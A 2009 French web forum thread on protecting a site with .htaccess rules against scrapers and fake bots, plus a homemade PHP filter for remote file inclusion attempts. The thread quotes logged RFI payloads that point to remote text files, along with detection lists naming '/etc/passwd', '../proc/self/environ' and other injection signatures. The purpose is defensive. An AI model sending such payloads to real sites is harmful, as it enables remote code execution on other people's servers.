[.htaccess] Protéger mon site contre les aspirateurs

**malipalo** · 12/12/2009, 00h55

Bonjour Mac,

J'ai eu l'occasion de lire sur plusieurs forums des solutions pour .htaccess afin de créer quelques problèmes au fouineurs et à ceux qui ce font passer pour des googlebot.

J'ai trouvé les règles ci-dessous.
Qu'en pensez-vous ? Sont-elles efficace dans la racine du site ?

A quoi sert la règle :

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

RewriteRule . abuse.txt [L]

Merci d'avance pour tes précédents conseils ! J'essaye de les suivre, je lis beaucoup de documents afin de comprendre, mais c'est vraiment pas facile.

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
 
.htaccess racine du site
=====================
## START PHP
AddType application/x-httpd-php .php
Action application/x-httpd-php /cgi-bin/php5.cgi
## STOP PHP
<IfModule mod_rewrite.c>
Order Deny,Allow
Allow from all
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} ^Teleport\ Pro [NC]
RewriteCond %{HTTP_USER_AGENT} ^BackWeb [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Bandit [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^BatchFTP [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^BecomeBot [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^BlackWidow [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Net\ Vampire [NC]
RewriteCond %{HTTP_REFERER} \.opendirviewer\. [NC,OR]
RewriteCond %{THE_REQUEST} \?\ HTTP/ [NC,OR]
RewriteCond %{HTTP_REFERER} users\.skynet\.be.* [NC,OR]
RewriteCond %{QUERY_STRING} \=\|w\| [NC,OR]
RewriteCond %{THE_REQUEST} etc/passwd [NC,OR]
RewriteCond %{REQUEST_URI} owssvr\.dll [NC,OR]
RewriteCond %{QUERY_STRING} \=\|w\| [NC,OR]
RewriteCond %{THE_REQUEST} \/\*\ HTTP/ [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Sucker [NC]
RewriteRule . abuse.txt [L]
#Redirections de mes domaines & sous-domaines
RewriteCond %{HTTP_HOST} forum.monsite.ch
RewriteCond %{REQUEST_URI} !^/forum/fsb
RewriteRule (.*) /forum/fsb/$1 [L]
RewriteCond %{HTTP_HOST} <a href="http://www.monsite.ch" target="_blank">www.monsite.ch</a>
RewriteCond %{REQUEST_URI} !^/monsite
RewriteRule (.*) /monsite/$1 [L]
RewriteCond %{HTTP_HOST} pointeur_1.ch
RewriteCond %{REQUEST_URI} !^/pointeur_1
RewriteRule (.*) /pointeur_1/$1 [L]
RewriteCond %{HTTP_HOST} pointeur_2.ch
RewriteCond %{REQUEST_URI} !^/pointeur_2
RewriteRule (.*) /pointeur_2/$1 [L]
</IfModule>

**_Mac_** · 14/12/2009, 11h07

L'idée c'est de vérifier le client (user agent) et la requête effectuée et de renvoyer le contenu du fichier abuse.txt si l'un de ces éléments (user agent et requête) répondent à certains critères. Par exemple, un client s'annonçant avec un user agent commençant par "BlackWidow" est refusé (i.e. on affiche abuse.txt). Le paramétrage est donc correct mais uniquement dans la mesure où l'aspirateur ne truque pas l'en-tête User-Agent et se fasse passer pour un autre client. Dans l'absolu, tu n'as pas beaucoup d'autres parades sauf en plus à vérifier les adresses IP des bots connus (par exemple, tu pourrais ajouter des règles du style "j'accepte les user agents de Google s'ils proviennent d'IP connus de Google) mais il faut savoir maintenir cette liste et elle n'est pas non plus parfaite, notamment pour les bots qui tournent chez des particuliers, par exemple.

**malipalo** · 14/12/2009, 14h50

Merci pour ta réponse,

Donc je dois bien créer un fichier abuse.txt dans la racine de mon site.
Celui-ci contiendra quoi un message d'exclusion ?

Côté règles du style « j'accepte les user agents de Google s'ils proviennent d'IP. » Avez-vous un petit exemple que je comprenne.

Pour le moment j'ai préféré créer un fichier robot.txt qui dit en substance qu'aucun robot ne doit le visiter, jusqu'à ce que je le change d'avis.

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
 
User-agent: *
Disallow: /

**_Mac_** · 14/12/2009, 17h15

Envoyé par malipalo

Donc je dois bien créer un fichier abuse.txt dans la racine de mon site.
Celui-ci contiendra quoi un message d'exclusion ?

J'imagine que oui. Tu y mets ce que tu veux.

Envoyé par malipalo

Côté règles du style « j'accepte les user agents de Google s'ils proviennent d'IP. » Avez-vous un petit exemple que je comprenne.

Ce sont des règles du genre :

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
RewriteCond %{USER_AGENT} ^GoogleBot
RewriteCond %{REMOTE_ADDR} !^1\.2\.3\.4$
RewriteCond %{REMOTE_ADDR} !^1\.2\.3\.5$
...
RewriteRule . abuse.txt [L]

Sachant que je n'ai aucune idée de la signature des bots Google ni encore moins s'il existe et le cas échéant comment récupérer la liste des IP de ces bots Google. C'est la difficulté de la chose : récupérer une liste à jour et la traduire en règles. Dans la pratique, je pense que c'est très pénible à faire.

Envoyé par malipalo

Pour le moment j'ai préféré créer un fichier robot.txt qui dit en substance qu'aucun robot ne doit le visiter, jusqu'à ce que je le change d'avis.

Autre façon de faire mais très radicale. Le prix à payer c'est aucune présence dans les moteurs de recherche de référence (Bing, Yahoo, Google, etc.) qui respectent le fichier robot.txt.

**malipalo** · 14/12/2009, 19h49

Merci pour l'exemple, je vais mettre ça en pratique sur mon site. J'ai beaucoup progressé depuis que je consulte la documentation du forum et ses sources.

Hier j'ai trouvé un lien intéressant vers une adresse qui développe pleins de trucs et astuces pour .htaccess

http://corz.org/serv/tricks/htaccess2.php

**malipalo** · 15/12/2009, 11h33

J'ai encore une petite question simple.
Lors de l'exemple des redirections de domaines que nous avons vu ensemble.

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
 
RewriteCond %{HTTP_HOST} www.monsite.ch
RewriteCond %{REQUEST_URI} !^/monsite
RewriteRule (.*) /monsite/$1 [L]

Quand je tape forum.monsite.ch je suis en réalité dans le dossier racine /monsite/
Je peux donc avoir un fichier robot.txt et un fichier .htaccess dans ce dossier.
Le moteur de recherche il prendra le fichier robot.txt de la redirection dans /monsite/ si je n'en met pas dans la racine ?

Car si je supprime le robot.txt de ma racine et que j'en mets un par dossier (j'ai plusieurs pointeurs et domaines). Ceci pour allouer ou pas les directives

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

User-agent: *Disallow: / ou allow

afin que certaines parties de mon site soit visible ou pas des moteurs de recherches.

Si un googleboot ce trouve dans une partie Disallow c’est forcément un faux robot ?

Pour tester j'utilise HTTRACK sur mon propre site histoire de trouver les failles, mais je ne reçois pas de messages d'erreurs du fichier abuse.txt mis en place et pourtant j'ai quand même rajouté la règle.

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

RewriteCond %{HTTP_USER_AGENT} ^HTTrack [NC,OR]

Par contre les règles que nous avons mise en place, elles bloquent l'accès aux différents dossiers via le "hotlinking" les images sont protégées ça c'est vraiment génial

**_Mac_** · 15/12/2009, 21h15

Envoyé par malipalo

Le moteur de recherche il prendra le fichier robot.txt de la redirection dans /monsite/ si je n'en met pas dans la racine ?

Oui, bien entendu : un robot, c'est un navigateur quelque part, il n'est au courant de rien en ce qui concerne les .htaccess ou les vrais répertoires du site. Il faut imaginer que tu ouvres le fichier http://forum.monsite.ch/robots.txt avec ton navigateur : à quel fichier cela correspond-t-il ?

Envoyé par malipalo

Car si je supprime le robot.txt de ma racine et que j'en mets un par dossier (j'ai plusieurs pointeurs et domaines). Ceci pour allouer ou pas les directives

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

User-agent: *Disallow: / ou allow

afin que certaines parties de mon site soit visible ou pas des moteurs de recherches.

De toute façon, tu n'as pas le choix que de mettre des fichiers robots.txt dans tes différents sous-répertoires, vu qu'aucun fichier de la racine n'est directement accessible.

Envoyé par malipalo

Si un googleboot ce trouve dans une partie Disallow c’est forcément un faux robot ?

A priori oui car il ne respecte pas le fichier robots.txt. Ou alors la conf dans le fichier robots.txt n'est pas bonne.

Envoyé par malipalo

Pour tester j'utilise HTTRACK sur mon propre site histoire de trouver les failles, mais je ne reçois pas de messages d'erreurs du fichier abuse.txt mis en place et pourtant j'ai quand même rajouté la règle.

[code]RewriteCond %{HTTP_USER_AGENT} ^HTTrack [NC,OR][/code

Es-tu sur que la signature du user agent de HTTRACK commence bien par "HTTrack" ?

**malipalo** · 15/12/2009, 21h25

Tout d'abord un grand merci d'avoir pris le temps de m'expliquer en détaille toutes les questions que j'ai posées, c'est vraiment sympa car j'avais pas bien compris comment les moteurs de recherche fonctionnaient.

Non effectivement, je ne suis pas sûr de la signature du HTTRACK.

J'ai testé en pensant que... Mai je dois sûrement me tromper.

**_Mac_** · 15/12/2009, 21h29

Dans les logs d'accès d'Apache, regarde des fois si le user agent n'est pas logué. Si ce n'est pas le cas, tu peux toujours l'ajouter.

**malipalo** · 15/12/2009, 22h11

Effectivement je suis de près les logs d'accès d'Apache de mon site et vois souvent passer différents moteurs (de la liste du fichier dataserv.php de l'anti-aspirateur de site que vous proposez, qui est super).

Je le mets à jour régulièrement lorsque je reçois un mail avec l'adresse d'un moteur qui est fiable.

J'ai ajouté une fonction de plus à l'inverse rejetIP qui me permet de rejeter certaine IP de mon site comme par exemple lorsque j'ai des logs du style :
/index.php?mosConfig_absolute_path=http://www.debile.it/pub/eq1.txt?&mode=id

Qui s'exécute via les moteurs, c'est tellement simple de prendre le travaille des autres plutôt que d'apprendre...

Je test aussi des fonctions PHP comme :

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
 
$_SERVER["REDIRECT_QUERY_STRING"]
$_SERVER["QUERY_STRING"]
$_SERVER["REQUEST_URI"]
$_ENV["REDIRECT_QUERY_STRING"]
$_ENV["QUERY_STRING"]
$_ENV["REQUEST_URI"]

si elle contienne un code du genre id.txt??? ou mosConfig_absolute_path ou autre chose dans une variable $_GET d'une page qui n'a pas à le recevoir c'est que c'est forcément louche...

Je sais pas laquelle de ces fonctions est la plus appropriée pour effectuer ce test ?

**_Mac_** · 16/12/2009, 10h50

Peut-être $_SERVER["QUERY_STRING"] sur lequel tu dois pouvoir faire un strpos($_SERVER["QUERY_STRING"], "mosConfig_absolute_path").

**malipalo** · 16/12/2009, 19h10

Pourquoi ?

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

$_SERVER["QUERY_STRING"]

J'avais choisi dans mon script

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

$_SERVER["REQUEST_URI"]

Merci pour l'aide avec la fonction strpos() je ne la connaissais pas et je la cherchais...

Hier grrr énervé par les logs de mon site j'ai développé ce petit script
dans l'urgence, il faut que je le transforme en fonction, mai si ça peux aider quelqu'un je le mets le code ci-dessous.

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
 
<?php
header('Content-type: text/html; charset=utf-8');
//**************************************
//*                   ANTI-VISITEUR RFI v1.0
//**************************************
// Capture la ligne de commande avant son exécution
$CAPT_RFI = $_SERVER["REQUEST_URI"];
$nbr = 0;
// Listes de bouts de paramètres que j'ai trouvé dans 
// les logs laissés par les scripts RFI sur mon site. 
// valeurs dans le tableau $binary[] à mettre à jour ou créer
// Ont peut créé une table avec toutes ces données et d'autre...
$binary[] = "\x09_page_\x0A";
$binary[] = "\x09content\x0A";
$binary[] = "\x09mosConfig_absolute_path\x0A";
$binary[] = "\x09id.txt\x0A";
$binary[] = "\x09.txt???\x0A";
$binary[] = "\x09.txt\x0A";
$binary[] = "\x09.gif?\x0A";
$binary[] = "\x09???\x0A";
$binary[] = "\x09??\x0A";
$binary[] = "\x09.php?id=\x0A";
$binary[] = "\x09phpbb3.functions.php\x0A";
$binary[] = "\x09pConfig_auth\x0A";
$binary[] = "\x09[phpbb_path]\x0A";
$binary[] = "\x09?error=\x0A";
$binary[] = "\x09index.html%20\x0A";
$binary[] = "\x09%20//index.html\x0A";
$binary[] = "\x09index.html%20\x0A";
$binary[] = "\x09?_SERVER[\x0A";
$binary[] = "\x09../\x0A";
$binary[] = "\x09authentication\x0A";
$binary[] = "\x09&mode=id\x0A";
$binary[] = "\x09_REQUEST=&_REQUEST%5boption%5d\x0A";
$binary[] = "\x09GALLERY_BASEDIR\x0A";
$binary[] = "\x09?source\x0A";
$binary[] = "\x09/site\x0A";
$binary[] = "\x09?id=../../\x0A";
$binary[] = "\x09../proc/self/environ\x0A";
$binary[] = "\x09?sub\x0A";
$binary[] = "\x09*.php?\x0A";
$binary[] = "\x09.php?id=\x0A";                 //peut bloquer d'autre scripts
$binary[] = "\x09_REQUEST\x0A";
$binary[] = "\x09%5\x0A";
$binary[] = "\x09boption\x0A";
$binary[] = "\x09com_content\x0A";
$binary[] = "\x09bItemid\x0A";
$binary[] = "\x09GLOBALS\x0A";
$binary[] = "\x09?setup\x0A";
$binary[] = "\x09[use_category]\x0A";
$binary[] = "\x09&dir=\x0A";
$binary[] = "\x09include_path\x0A";
$binary[] = "\x09?option=\x0A";
while ($nbr <= 41)
{
		$clean = trim($binary[$nbr++], "\x00..\x1F");
		if (strpos($CAPT_RFI, $clean) !=0) {echo 'T\'est un RFI en text toi !<br />'; die('Hack tentative !');}
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Test d'exclusion RFI</title>
</head>
<body>
Test d'exclusion RFI via un tableaux de variables prédéfinies
</body>
</html>

**malipalo** · 17/12/2009, 00h06

Tous fonctionne à merveille sauf quand je regarde les logs de la pseudo page que j'ai bloquée, pour mes testes, j'ai un code 200 et pas un 404.

Exemple :

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

GET /index.php?pConfig_auth[phpbb_path]=http://monsite.ch/niania.txt HTTP/1.1" 200 68

Est ce important ou c'est juste que mon script c'est bien exécuté et qu'il à bloqué tous ce bazar...

**_Mac_** · 17/12/2009, 01h28

Ca me semble normal d'avoir un code 200 si /index.php existe. Ce qu'il faut faire c'est ajouter avant la ligne header('Content-type:... un header('404 Not Found') pour forcer le statut à 404 dès que la page d'erreur est appelée.

**malipalo** · 17/12/2009, 10h34

Ce code :

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

header("HTTP/1.0 404 Not Found");

Pour le moment j'ai aucun appel de page d'erreur sur mon site c'est pas bien.
Je n'en ai même pas dans les règles du site.

Il faudrait que j'ajoute une règle dans la racine du site.
ou quelque chose du genre avant de créer ma page d'erreur je suppose.

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

ErrorDocument 404 /404/

**_Mac_** · 17/12/2009, 11h03

Non, le ErrorDocument n'est pas nécessaire, bien au contraire : si tu mets un ErrorDocument 404, c'est la page indiquée dans cette directive qui sera affichée à la place de ta page "attention, aspiration interdite". C'est plutôt étrange que le statut ne soit pas passé à 404.

**malipalo** · 17/12/2009, 11h10

Mille excuse j'ai dis une bêtise, il doit être passé les logs du site sont différés d'un quart d'heure.

J'avais inclue un envoi par mail, et j'ai bien reçu :
Le piège RFI a bloque l'adresse IP : 55.56.57.58 Domaine : monsite.ch

**_Mac_** · 17/12/2009, 11h22

Mais le statut est bien passé à 404 ?

**malipalo** · 17/12/2009, 11h22

J'ai compris pour la règle, 404 elle va prendra sa place puisque .htaccess est en amont dans la sécurité il me donnera sa page à lui.

Donc, il vaut mieux que j'applique une gestion d'erreurs par page plutôt que général.

**malipalo** · 17/12/2009, 11h35

J'ai pas encore reçu les dernier logs sont à 200. Mais je suppose que oui vu le décalage du serveur je pense plus de 30 a 40 minutes.

Je vous dirait dans la journée.

Merci Beaucoup pour votre aide !!! Je pense d'autre ont besoin de vos connaissances et merci d'avoir pris du temps pour m'expliquer tout ces petits trucs.

Je ne comprends pas encore tout et votre aide m'est vraiment précieuse.
Merci Laurent.

[.htaccess] Protéger mon site contre les aspirateurs

Apache

Discussions similaires

Partager

Partager